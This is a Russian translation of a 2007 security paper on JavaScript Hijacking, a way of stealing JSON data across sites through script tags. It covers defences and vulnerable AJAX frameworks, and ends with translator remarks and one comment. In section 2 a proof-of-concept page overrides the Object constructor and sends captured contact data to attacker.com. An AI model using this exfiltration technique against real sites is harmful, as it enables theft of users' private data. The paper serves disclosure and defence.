Javascript Hijacking

Авторы: Brian Chess, Yekaterina Tsipenyuk O’Neil, Jacob West ({brian, katrina, jacob}@fortifysoftware.com)
Дата: 12 марта 2007 года
Перевод: Raz0r
Оригинальная статья: _http://www.fortifysoftware.com/servlet/downloads/public/JavaScript_Hijacking.pdf

Возрастающее количество современных Веб-приложений, часто называемых AJAX-приложениями, используют JavaScript как средство передачи информации. Данная статья описывает уязвимость, которую мы называем JavaScript Hijacking (hijacking — нападение, ограбление), позволяющую злоумышленникам получать доступ к конфиденциальной информации, содержащуюся в JS-сообщениях. Атака проводится благодаря тэгу <script>, с помощью которого возможен обход Same Origin Policy. Традиционные веб-приложения неуязвимы к описываемой атаке, так как не используют JS как метод передачи информации.
Мы исследовали 12 популярных AJAX-фреймворков , включая 4 серверных набора утилит — Direct Web Remoting (DWR), Microsoft ASP.NET Ajax (aka Atlas), xajax и Google Web Toolkit (GWT) – и 8 исключительно клиентских библиотек — Prototype, Script.aculo.us, Dojo, Moo.fx, jQuery,Yahoo! UI, Rico, и MochiKit. Мы определили, что среди них лишь в DWR 2.0 включены механизмы по предотвращению JavaScript Hijacking. Остальная же часть не предоставляет какой-либо защиты. Большинство самостоятельно написанных фреймоворков также уязвимы.

1. Введение

Не смотря на то, что термин Web 2.0 не имеет точного определения, в большинстве случаев он используется в двух значениях. Первое подразумевает те веб-приложения, которые направлены на социальное взаимодействие или коллективный вклад в общее дело. Второе значение относится к средствам веб-разработки, которые позволяют создавать удобный для пользователя интерфейс. Данные средства называют Asynchronous JavaScript and XML (Ajax), однако многие реализации не имеют абсолютно никакой поддержки XML. В некоторых случаях, социальные и технические аспекты Web 2.0 сливаются воедино, образуя так называемые веб-интеграции (или [url=»http://ru.wikipedia.org/wiki/Mashup»]mashup[/url]), то есть веб-приложения, которые основаны на наборе нескольких независимых приложений.
Данная атака позволяет читать конфиденциальную информацию, используя методы, при помощи которых создаются веб-интеграции. JavaScript Hijacking возможен из-за того, что модель безопасности популярных браузеров не предусматривает использование JS как средства передачи конфиденциальной информации.
Данная уязвимость является разновидностью другой не менее распространенной уязвимости – CSRF (Cross-site Request Foregery). Атака CSRF заставляет пользователя невольно совершить один или несколько HTTP-запросов к уязвимому сайту. Типичная CSRF-атака компрометирует неприкосновенность информации — она дает возможность злоумышленнику изменять хранящуюся на сайте информацию. JavaScript Hijacking более опасен, так как также компрометирует конфиденциальность – атакующий может читать данные жертвы.
Уязвимые сайты уже были найдены. Первым, кто продемонстрировал применение JavaScript Hijacking, был Jeremiah Grossman, который обнаружил эту уязвимость в Google Gmail. Google хранил список контактов текущего пользователя в незащищенном JS-формате, таким образом злоумышленник мог украсть его, используя JavaScript Hijacking.

2. JavaScript Hijacking

Браузеры используют Same Origin Policy для того, чтобы защитить пользователей от злонамеренных сайтов. Для того чтобы JS-скрипт мог получить доступ к содержимому сайта, Same Origin Policy требует их одинакового происхождения (отсюда Same Origin), т.е. и скрипт и веб-страница должны принадлежать одному домену. Без Same Origin Policy злонамеренный сайт мог бы содержать такой JS-скрипт, который загружал бы конфиденциальную информацию с других веб-сайтов, используя параметры доступа (Cookies) клиента, и отправлял бы назад атакующему.
JavaScript Hijacking позволяет злоумышленнику обойти Same Origin Policy в том случае, если веб-приложение использует JS для передачи конфиденциальной информации. Дыра в Same Origin Policy заключается в том, что он позволяет выполнять JS с любого веб-сайта в контексте другого сайта. Несмотря на то, что сайт не может исследовать напрямую какую-либо информацию, загруженную с уязвимого сайта клиентом, он все же может воспользоваться этой уязвимостью путем установки такого окружения, которое позволяет исследовать непосредственно выполнение JS, а также другие важные стороны, которые могут повлечь за собой данное обстоятельство.
Самым популярным форматом передачи информации посредством JS является JavaScript Object Notation (JSON). Спецификация JSON определяет его синтаксис как подмножество объектного синтаксиса JS. JSON основывается на двух типах структур данных: массивы и объекты. Любой формат передачи данных, в котором сообщения могут быть интерпретированы как одно или более допустимое JS-выражение, уязвим к JavaScript Hijacking. JSON облегчает использование данной атаки, так как JSON-массив представляет собой приемлемое JS-выражение. Ввиду того, что массивы являются привычной формой передачи каких-либо списков данных, они повсеместно используются веб-приложениями для передачи различных значений. С другой стороны, JSON-массив напрямую подвержен описываемой уязвимости. JSON –объект, в свою очередь, уязвим только в том случае, если он заключен в другой JS-конструкции, которое представляет собой допустимое JS-выражение.
Следующий пример показывает приемлемое JSON-взаимодействие между клиентом и сервером для управления продажами товара. Вы увидите, каким образом атакующий может выдать себя за клиента для получения доступа к конфиденциальным данным, которые возвращает сервер. Обратите внимание, что этот пример, также как и все остальные в этой статье, написаны для браузеров, основанных на Mozilla (ядро Gecko). Другие основные браузеры не позволяют подменять конструкторы, когда объект создается без использования оператора new.
Клиент запрашивает данные с сервера и выполняет результат как JSON посредством следующего кода:

var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);

Когда данный код выполняется, он производит следующий HTTP-запрос:

GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR

(В этом HTTP-ответе и в последующих мы пропустили те заголовки, которые не относятся напрямую к теме данной статьи.)

Сервер отвечает с помощью массива в формате JSON:

HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@fortifysoftware.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@fortifysoftware.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@fortifysoftware.com" }]

В данном случае JSON содержит конфиденциальную информацию, предназначенную для текущего пользователя (список лидеров по продажам). Другие пользователи не могут иметь доступ к этим данным, не зная идентификатор сессии пользователя. (В большинстве современных веб-приложений идентификатор сессии хранится в Cookie.) Однако если жертва посетит злонамеренный сайт, то он сможет извлечь эту информацию при помощи JavaScript Hijacking.
Если заманить жертву обманным образом на злонамеренную веб-страницу со следующим кодом, то конфиденциальная информация будет отослана на сайт атакующего.

<script>
// заменим конструктор, используемый для создания всех 
// объектов для того, чтобы метод captureObject() 
// вызывался в любой момент, когда поле "email" определено
// Так как "email" является последним полем, это позволит нам украсть весь объект
function Object() {
this.email setter = captureObject;
}
// отсылаем захваченный объект обратно на сайт атакующего
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!—- используем тэг <script>, чтобы получить данные жертвы -->
<script src="http://www.example.com/object.json"></script>

Злонамеренный код использует тэг <script>, чтобы включить JSON-объект в текущую страницу. Браузер отправит соответствующую сессию вместе с запросом. Иначе говоря, этот запрос будет рассматриваться таким образом, как будто он инициирован достоверным веб-приложением.
Когда JSON-массив будет доставлен клиенту, он будет выполнен в контексте злонамеренного сайта. Для того, чтобы засвидетельствовать выполнение JSON, страница переназначила JS-функцию, использующуюся для создания новых объектов. В данном случае злонамеренный код получает управление над созданием каждого объекта путем своеобразного «крючка» (hook) и передает содержимое объекта на сайт атакующего. Другие атаки вместо объектов могут переназначать конструктор по умолчанию и для массивов (эксплоит Гроссмана для Gmail использовал именно этот подход).
Веб-приложения, которые созданы для использования в веб-интеграциях, иногда вызывают функцию обратного вызова в конце каждого JS-сообщения. В данном случае подразумевается, что функция обратного вызова определена другим веб-приложением в веб-интеграции. Функция обратного вызова делает JS Hijacking-атаку обычным делом – все, что требуется от атакующего это определить эту функцию. Веб-приложение может быть веб-интегрированным или же оно может быть безопасным, однако не все вместе.
Если пользователь не произвел вход на уязвимый сайт, атакующий может компенсировать это путем просьбы войти на сайт с помощью той формы, которая находится на уязвимом сайте. Данный метод не является фишингом – атакующий не получает доступ к данным пользователя – таким образом, меры против фишинга не помогут.
Более сложные атаки могут быть осуществлены с помощью целой серии запросов к веб-приложению, используя JS, чтобы динамически генерировать тэги <script>. Именно такой метод используется, чтобы создавать веб-интеграции. Единственное различие состоит в том, что одно из приложений является злонамеренным.

3. Защита

Веб-приложения первого поколения неуязвимы к JavaScript Hijacking, поскольку они передают информацию как часть HTML-документов, а не как чистый JavaScript. Те веб-приложения, которым нечего скрывать, также неуязвимы к данной атаке.
Если веб-приложение содержит XSS уязвимость, то оно не может противостоять таким атакам, как JavaScript Hijacking, направленных на кражу данных, так как XSS позволяет атакующему выполнять JS-код, как будто бы он принадлежит домену, на котором расположено само веб-приложение. Однако если веб-приложение не подвержено XSS, это не означает, что оно обязательно неуязвимо к JavaScript Hijacking.
Для Web 2.0 приложений, которые обращаются к конфиденциальной информации, существуют 2 основных способа защититься от JavaScript Hijacking:

  • Отклонение злонамеренных запросов
  • Предотвращение прямого выполнения JS ответа

Наиболее совершенным способом защиты против JavaScript Hijacking является выбор и той и другой тактики.

Отклонение злонамеренных запросов

C позиции сервера, JS Hijacking-атака выглядит как попытка осуществления CSRF, и защита против CSRF также поможет в борьбе против JS Hijacking.
Для того чтобы злонамеренные запросы было легче распознать, каждый запрос должен включать трудный для подбора параметр. Один из способов реализации данного подхода заключается в добавлении идентификатора сессии как параметра в Cookie. Когда сервер получает такой запрос, он может проверить совпадает ли идентификатор сессии с параметром в запросе. Злонамеренный код не имеет доступа к сессии в Cookie (они являются предметом Same Origin Policy), поэтому для атакующего в данном случае нет простого выхода из данной ситуации. Любой другой секретный параметр также может быть использован вместо сессии в Cookie. До тех пор пока секретный параметр невозможно предугадать, и он появляется в том контексте, который доступен для достоверного веб-приложения и не доступен с другого домена, атакующий не сможет сделать верный запрос.
Некоторые фреймворки выполняются только на клиентской стороне. Иначе говоря, они полностью написаны на JavaScript и не имеют представления о скриптах и их работе на сервере. Это предполагает, что они не знают об имени сессии. Несмотря на это, они также могут участвовать в защите, основанной на Cookie, путем добавления значения всех параметров Cookie к каждому запросу. Следующая часть кода подчеркивает стратегию «слепого клиента»:

var httpRequest = new XMLHttpRequest();
...
var cookies="cookies="+escape(document.cookie);
http_request.open('POST', url, true);
httpRequest.send(cookies);

Сервер также может проверять HTTP-заголовок referer с целью определения домена, с которого был произведен запрос. Однако уже давно доказано, что referer не является надежным, поэтому мы не рекомендуем использовать его как базис вашей безопасности.
Сервер также может защититься от JavaScript Hijacking путем ответа только на POST-запросы. Данный способ является достаточно надежным, так как тэг <script> использует метод GET для загрузки JS-скриптов с внешних источников. Эта защита также подвержена ошибкам. Использование метода GET для более высокой производительности поддерживается экспертами из компании Sun. Даже те фреймворки, которые используют метод POST для сообщения внутренних компонентов между собой, такие как GWT, обосновывают такой шаг, не упоминая о потенциальных последствиях для безопасности. Некоторые программисты могут увидеть в использовании метода POST недостаток в функциональности, нежели предосторожность, и могут изменить веб-приложение так, чтобы оно отвечало на GET-запросы.

Предотвращение прямого выполнения JS ответа

Для того чтобы сделать невозможным для злонамеренного сайта выполнить ответ, который включает в себя JavaScript, приложение клиента может воспользоваться тем, что ему разрешено изменять данные, которое оно получает перед тем как выполнить ответ, в то время как злонамеренное приложение может лишь выполнить его, используя тэг <script>. Когда сервер преобразовывает объект, тот должен иметь специальный префикс (и даже суффикс), который сделал бы невозможным выполнение JS-скрипта посредством тэга <script>. Приложение клиента может убрать дополнительные конструкции, перед тем как выполнить ответ сервера. Существует множество реализаций данного подхода. Мы выделим лишь два их них.

  • Сервер может сопровождать каждое сообщение со следующей конструкцией:
    while(1);

    Если клиент не вырежет данное выражение, то выполнение подобного сообщения JS-интерпретатором приведет к бесконечному циклу. Данный способ использовал Google, чтобы устранить уязвимость, обнаруженную Гроссманом. Клиент проводит поиск и вырезает дополнительную конструкцию:

    var object;
    var req = new XMLHttpRequest();
    req.open("GET", "/object.json",true);
    req.onreadystatechange = function () {
    if (req.readyState == 4) {
    var txt = req.responseText;
    if (txt.substr(0,9) == "while(1);") {
    txt = txt.substring(10);
    }
    object = eval("(" + txt + ")");
    req = null;
    }
    };
    req.send(null);
  • Сервер может заключить JavaScript символами комментария, которые впоследствии должны быть вырезаны, перед тем как JS-код отправится на выполнение. Следующий JSON-объект окружен символами многострочного комментария:
    /*[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
    "purchases":60000.00, "email":"brian@fortifysoftware.com" }
    ]
    */

    Клиент может искать и вырезать комментарии следующим образом:

    var object;
    var req = new XMLHttpRequest();
    req.open("GET", "/object.json",true);
    req.onreadystatechange = function () {
    if (req.readyState == 4) {
    var txt = req.responseText;
    if (txt.substr(0,2) == "/*") {
    txt = txt.substring(2, txt.length - 2);
    }
    object = eval("(" + txt + ")");
    req = null;
    }
    };
    req.send(null);

Любой злонамеренный сайт, который извлекает конфиденциальную информацию посредством тэга <script>, не получит к ней доступа.

4. Уязвимые фреймворки

Недавний опрос, проведенный сайтом Ajaxian.com, определил 12 самых популярных AJAX-фреймворков, которые используются в настоящее время. Результаты опроса основываются на ответах 865 участников в течение одной недели. Несмотря на то, что данный опрос не является научным экспериментом, он дает веские основания для того, чтобы определить какие фреймворки широко распространены.
Одна четверть участников голосования сообщают, что они вообще не используют никаких фреймворков. Ввиду данного обстоятельства, JavaScript Hijacking не может быть полностью устранен только лишь исправлением популярных фреймворков. Веб-разработчики должны понять риски, которые возникают при использовании JS как средства передачи информации, таким образом, они смогут защитить свой код и исследовать сторонние компоненты, которые они используют.
Когда мы начали анализировать фреймворки, мы сразу же определили, что они могут быть поделены на две основные группы. Многие обеспечивают клиентские JS-библиотеки для реализации графического интерфейса, но не включают серверные компоненты для сквозной передачи информации. На самом деле, только четыре фреймворка из списка голосования — DWR, Microsoft Atlas, xajax, и GWT – обеспечивают как клиентские библиотеки, так и серверные компоненты для создания веб-приложений. Данное различие является важным для определения, насколько они уязвимы к JavaScript Hijacking и видов мер по предотвращению данной уязвимости, которые они должны содержать.
Фреймворк Prototype использует JSON как один из основных форматов передачи данных. Поскольку Prototype является клиентской библиотекой, он не может противостоять JS Hijacking на стороне сервера путем проверки достоверности запросов. Однако эта библиотека должна обеспечивать защиту своего JavaScript-кода. Никаких подобных возможностей в Prototype не существует, что ведет к созданию уязвимых приложений, основанных на этом фреймворке. Это касается и для большинства остальных клиентских библиотек, включая Script.aculo.us, Dojo, Moo.fx, jQuery, Yahoo! UI и MochiKit.
Все версии DWR (<= 1.1.4) уязвимы к JavaScript Hijacking. До сих пор данный фреймворк не обеспечивает никаких мер по предотвращению данной уязвимости. Хорошей новостью является то, что DWR 2.0 – версия, которая сейчас находится в разработке – защищена от JavaScript Hijacking специальным приемом, который направлен против CSRF. Защита сводится к тому, что злонамеренный скрипт не может прочитать данные в Cookie, которые назначены другими доменами, что позволяет фреймворку использовать секретное значение, хранящееся в Cookie, для взаимодействия клиента и сервера. DWR 2.0 автоматически подставляет сессию к запросу, которая впоследствии проверяется на стороне сервера. Команда разработчиков также проводит предварительную работу по предотвращению прямого выполнения ответа. GWT и Microsoft Atlas также используют JSON для передачи данных между сервером и клиентом. Было установлено, что данные фреймворки также уязвимы, путем создания простейших приложений и перехвата трафика. По умолчанию оба фреймворка используют метод POST, однако они также обеспечивают возможность использования GET-запросов, что делает их уязвимыми.
Rico и xajax используют XML для передачи данных и в настоящее время не поддерживают JSON. Однако они планируют добавить поддержку JSON в будущих версиях. Будем надеяться, что разработчики этих фреймворков сделают ее безопасной.

От себя

Самый популярный в России AJAX-фреймворк JSHttpRequest от Дмитрия Котерова подвержен данной атаке, так как передает информацию в JSON-формате. Кроме того, еще один популярный фреймворк, который не участвовал в опросе, а именно sajax также уязвим. Мнение о данной уязвимости крайне противоречивое, для примера можно взять дискуссию в этом блоге _http://www.schneier.com/blog/archives/2007/04/javascript_hija_1.html. Одни говорят, что значение JS Hijacking явно преувеличено, другие признают, что уязвимость имеет место в современном Web 2.0. Решать вам 🙂


1 comment:

  1. kuzbass-master, 28. марта 2009, 5:18

    Спасибо за информацию. Похоже что JS Hijacking является причиной проблем на моем сайте.

     

Write a comment: